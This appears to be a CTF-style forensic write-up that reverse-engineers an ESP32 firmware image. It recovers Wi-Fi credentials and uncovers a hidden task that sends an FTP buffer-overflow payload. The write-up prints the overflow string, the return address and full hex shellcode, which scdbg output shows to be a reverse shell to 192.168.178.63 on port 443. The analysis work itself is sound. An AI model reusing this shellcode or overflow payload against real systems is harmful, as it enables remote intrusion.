Reconaissance

First we will analyze the strings inside the binary to see if we can find any details, we will also use file command to see what type of file are we facing.

File command doesn't give us any relevant info.

```
/home/user/Escritorio/fw-backup-4M.bin: data
```

After running the string command on it, we get the following output, where we notice there are some hints about the firmware.

strings '/home/user/Escritorio/fw-backup-4M.bin' | grep -E '.{9,}'

Finding the following strings lead us to think the hardware is an ESP32 processor:

```
boot.esp32
[0;33mW (%lu) %s: WDT reset info: %s CPU PC=0x%lx (waiti mode)
[0;33mW (%lu) %s: WDT reset info: %s CPU PC=0x%lx
&_bss_start <= &_bss_end
//IDF/components/bootloader_support/src/esp32/bootloader_esp32.c
```

Extraction

Knowing this, we will try to get partitions of the firmware with **esp32_image_parser** library.

```
entry 0:
  label       : nvs
  offset      : 0x9000
  length      : 24576
  type        : 1 [DATA]
  sub type    : 2 [WIFI]

entry 1:
  label       : phy_init
  offset      : 0xf000
  length      : 4096
  type        : 1 [DATA]
  sub type    : 1 [RF]

entry 2:
  label       : factory
  offset      : 0x10000
  length      : 1048576
  type        : 0 [APP]
  sub type    : 0 [FACTORY]

MD5sum:
f4ad4f4538564b5d7435b62c75b69524
Done
```

We can see there are 3 partitions, only one is an APP partition (entry 2), the others are DATA partitions, and attending to their names, we can conclude that entry 0 partition is the one that contains WIFI data, so we will analyse it too.

After dumping nvs partition (entry 0), we look for the strings on it.

We notice 2 strings that look important:

```
sta.apinfo
StoreD-Corporate
StoreD@2024
```

That seems to be the SSID name and password of the wifi station.

Now its time to analyze the APP part of the firmware file.

After dumping its content, we will try to analyze it again with file command to see if some extra info is shown up.

```
/home/user/Escritorio/factory_out.data: ESP-IDF application image for ESP32, project name: "", version , compiled on Oct 17 2024 14:38:43, IDF version: v5.2.3, entry address: 0x40081364
```

Now we have a more accurate profile of the target application. Now its time to convert it to an ELF file in order do dissasemble it and see what it exactly does.

To achieve this we run:

python '/home/user/Escritorio/esp32/esp32_image_parser.py' create_elf '/home/user/Escritorio/fw-backup-4M.bin' -partition factory -output firmware.elf

And we obtain an ELF file that is now ready to be decompiled.

Before decompiling it, we will run another strings analysis, from where we obtain some interesting strings, such as:

```
[0;32mI (%lu) %s: Message sent to 10.137.244.155
```

Which may indicate to where the sensor sends the data.

Decompilation and Analysis*

Now it's decompilation time.

We will use **Ghidra** for the decompilation. After we start analyzing the decompiled file, we locate the entry function but we can't find anything that seems to be the main function. We dont have type of xCreateTask symbol, so the first thing we need to do is locate it.

To do this, we will look for strings that include the word "task": We obtain the list and notice that there are 4 strings that contain the word "task" and seems to be user functions:

3f401af4	s_main_task...	ds "main_task"	"main_task"	string	10	true
3f401b2c	s_esp_task_...	ds "esp_task_wdt_init(&t...	"esp_task_wdt_init(&twdt_config)"	string	32	true
3f401dd4	s_!(_(_xTask...	ds "!((xTaskGetSchedul...	"!((xTaskGetSchedulerState() == (...	string	83	true
3f401f74	s_uxTaskPrio...	ds "uxTaskPriority < (2...	"uxTaskPriority < (25)"	string	24	true
3f401f8c		ds "//IDF/components/fre...	"//IDF/components/freertos/FreeRT...	string	50	true
3f402008	s_(_(_xTask...	ds "((xTaskGetSchedule...	"((xTaskGetSchedulerState() == ((...	string	127	true
3f402138		ds "//IDF/components/fre...	"//IDF/components/freertos/esp_ad...	string	69	true
3f402180	s_(_xIdleTas...	ds "(xIdleTaskHandle[x...	"(xIdleTaskHandle[xCoreID] != ((v...	string	46	true
3f4021c8	s_(_(_(_(_px...	ds "((((pxDelayedTas...	"((((pxDelayedTaskList)->uxNum...	string	118	true
3f402240	s_(_(_xTask...	ds "((xTaskGetSchedule...	"((xTaskGetSchedulerState() == ((...	string	127	true
3f4022c0	s_xTaskSche...	ds "xTaskScheduled == (...	"xTaskScheduled == ((BaseType_t ...	string	39	true
3f40245c	s_xTaskToN...	ds "xTaskToNotify"	"xTaskToNotify"	string	14	true
3f4025c0	s_xPortChec...	ds "xPortCheckValidTCBMe...	"xPortCheckValidTCBMem(pxTaskBuf...	string	36	true
3f4027ac	s_***ERRO...	ds "***ERROR*** A stack ...	"***ERROR*** A stack overflow in t...	string	38	true
3f402d8c	s_udp_send...	ds "udp_send_task"	"udp_send_task"	string	14	true
3f402d9c	s_report_tas...	ds "report_task"	"report_task"	string	12	true
3f402da8	s_sensor_ta...	ds "sensor_task"	"sensor_task"	string	12	true

"main_task" seems to be a interesting string to trace. We will get the references and locate the function where this string is used.

The function is: FUN_40152dfc, which seems to be the *app_main* function, since it receives no param and returns no value, as *app_main* function does.

Inside this function there are 3 other functions that calls our attention:

```
FUN_4008ee68(3,s_main_task_3f401af4,&DAT_3f401b74,uVar1,s_main_task_3f401af4);
FUN_400d6430();
uVar1 = FUN_4008ef20();
FUN_4008ee68(3,s_main_task_3f401af4,&DAT_3f401ba0,uVar1,s_main_task_3f401af4);
```

Once we analyse the first function, it seems to reference an address, and when we access this address we notice the following string:

```
3f401b87 43    ??    43h    C
3f401b88 61    ??    61h    a
3f401b89 6c    ??    6Ch    l
3f401b8a 6c    ??    6Ch    l
3f401b8b 69    ??    69h    i
3f401b8c 6e    ??    6Eh    n
3f401b8d 67    ??    67h    g
3f401b8e 20    ??    20h
3f401b8f 61    ??    61h    a
3f401b90 70    ??    70h    p
3f401b91 70    ??    70h    p
3f401b92 5f    ??    5Fh    _
3f401b93 6d    ??    6Dh    m
3f401b94 61    ??    61h    a
3f401b95 69    ??    69h    i
3f401b96 6e    ??    6Eh    n
3f401b97 28    ??    28h    (
3f401b98 29    ??    29h    )
```

So we will asume that the main task is actually ran in the following function: FUN_400d6430

Inside this function we find additional information that confirms us that this is the main task routine, where other user tasks are ran.

```
FUN_400d689c();
_DAT_3ffb5604 = FUN_400899b8(1,8,iVar1);
FUN_4008cb28(&LAB_400d66f0,s_udp_send_task_3f402d8c,0x1000,iVar1,5,iVar1,0x7fffffff);
FUN_4008cb28(FUN_400d64e0,s_report_task_3f402d9c,0x1000,iVar1,5,iVar1,0x7fffffff);
FUN_4008cb28(&LAB_400d67c8,s_sensor_task_3f402da8,0x1000,iVar1,5,iVar1,0x7fffffff);
return;
```

Analyzing this main function we locate function FUN_400d689c which seems to be the one stablishing comunications with the wifi station. And inside this function we also locate the followings strings:

```
400d070c ac 31 40 3f     addr        s_./main/wifi.c_3f403lac                  = "./main/wifi.c"

                    PTR_s_StoreD-Corporate_400d0710              XREF[1]:     FUN_400d689c:400d693b(R)
400d0710 4c f0 40 3f     addr        s_StoreD-Corporate_3f40f04c               = "StoreD-Corporate"

                    PTR_s_StoreD@2024_400d0714                   XREF[1]:     FUN_400d689c:400d6968(R)
400d0714 74 32 40 3f     addr        s_StoreD@2024_3f403274                    = "StoreD@2024"
```

So we can confirm that the SSID and password to access the AP that we guessed before are correct (StoreD-Corporate/StoreD@2024).

We will asume that FUN_4008cb28 is xTaskCreate, since their input/output parameters match.

Now its time to analyze the functions to see what is done in each one, and which of this function has been used by the agent to perform the attack.

In "udp_send task" (FUN_4008d66f0) we notice some references to the IP 10.137.244.155 and the creation of a UDP socket with this info, so we will asume this is the IP address where the data is being sent. This data is the same one added to the queue by the function "sensor_task" (FUN_400d67c8) after reading it from the device. So we can confirm that the destination of sensor's measurements is 10.137.244.155.

```
FUN_400eac0c(s_10.137.244.155_3f402fd8);
```

After analyzing the 3 tasks created, the one that looks more suspicious is "report_task" (FUN_4008cb28). In this function we can see that a socket object is being initialized and trying to connect to an IP and PORT. After the stablishment of the connection, it seems to send a malicious payload trying to exploit a bufferoverflow vulnerability.

If we pay attention to the functions, we notice that uStack_50 (built from uStack30 which is also referenced in the "udp_send_task" and lacks of TCP port) must be the *sockt_addr* struct. If we see what is being done to this struct, we notice a hex number being concatenated to the struct: 0x1500.

This seems to be the port of the TCP socket connection, and if we take into account that the byte codification is little endian, the port would be 21, which is the usual TCP port for FTP protocol.

```
uStack_50 = CONCAT22(0x1500,CONCAT11(2,(undefined)uStack_50));
```

We have the following data being sent. Which is obviously some attempt of buffer overflow. The start of the string 'USER' also matchs with a string that could be sent to autenthicate on a FTP server.

```
3ffb0270 55    ??    55h    U
3ffb0271 53    ??    53h    S
3ffb0272 45    ??    45h    E
3ffb0273 52    ??    52h    R
3ffb0274 20    ??    20h
3ffb0275 42    ??    42h    B
3ffb0276 42    ??    42h    B
3ffb0277 42    ??    42h    B
3ffb0278 42    ??    42h    B
3ffb0279 42    ??    42h    B
3ffb027a 42    ??    42h    B
3ffb027b 42    ??    42h    B
3ffb027c 42    ??    42h    B
3ffb027d 42    ??    42h    B
3ffb027e 42    ??    42h    B
3ffb027f 42    ??    42h    B
3ffb0280 42    ??    42h    B
3ffb0281 42    ??    42h    B
3ffb0282 42    ??    42h    B
3ffb0283 42    ??    42h    B
```

If we follow the string, we notice the following bytes that seems to be an address, and is probably the BO EIP address.

```
3ffb0a43 42    ??    42h    B
3ffb0a44 42    ??    42h    B
3ffb0a45 37    ??    37h    7
3ffb0a46 50    ??    50h    P
3ffb0a47 88    ??    88h
3ffb0a48 7c    ??    7Ch    |
3ffb0a49 90    ??    90h
3ffb0a4a 90    ??    90h
```

The codification is LE, and knowing this, the EIP address being pushed would be 0x7c885037.

After this address, we also find a chain of nops (0x90) that ends on the payload wanted to be ran.

PAYLOAD:
*bafc967c42dac1d97424f45e29c9b15283c60431560e03aa989eb7ae4ddc384e8e81b1abbf81a6
b89031acec1cb9e00496cf2c2b1f650b02a0d66f052225bce51be6b1e45c1b3bb43557ee28312d
33c309a33330d9c212e7519db406b595fc10da90b7ab286e467d618fe5404d62f7856a9d82ff882
095c4f3fe10de5474823a645955c96a1611956ea9f6ae8b22f9601a70dea446227ffd2285801d8d
7a2556206e54352d4355c5adcbeeb69f544550ac1d43a7d33733372ab8441ee9ec1408d88cfec
8e5585098493311482ae3f982a5dc1aad6f75b054f8baede4c752ec08391879ee534e2cb9cbf77
5316df7a33cad7340c160742dd11574788bb08b56a35f193d332902ea647ef4e3e092af5d166f29
a592b48a281b38b60e0b84370b7f586ec5291ed8a783c8b761438cfbb11591d147f9208c11068c
58967ff0f859aab019b87ecdb165eb6cdc95c6b30ad915e24b1e05874e5a817423f3647a90f4ac*

Analyzing this payload with scdbg we get the following systems calls:

```
Loaded 15f bytes from file C:\Users\Usuario\Desktop\download.sc
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010b6  LoadLibraryA(ws2_32)
4010c6  WSAStartup(190)
4010d5  WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
4010ef  connect(h=42, host: 192.168.178.63 , port: 443 ) = 71ab4a07
401132  CreateProcessA( cmd,  ) = 0x1269
401140  WaitForSingleObject(h=1269, ms=ffffffff)
40114c  GetVersion()
40115f  ExitThread(0)

Stepcount 1684375
```

Which seems to be a reverse shell against IP: 192.168.178.63 and PORT: 443.

With all of this steps, we have finally unraveled the details and procedures followed to perform the attack in this scenario.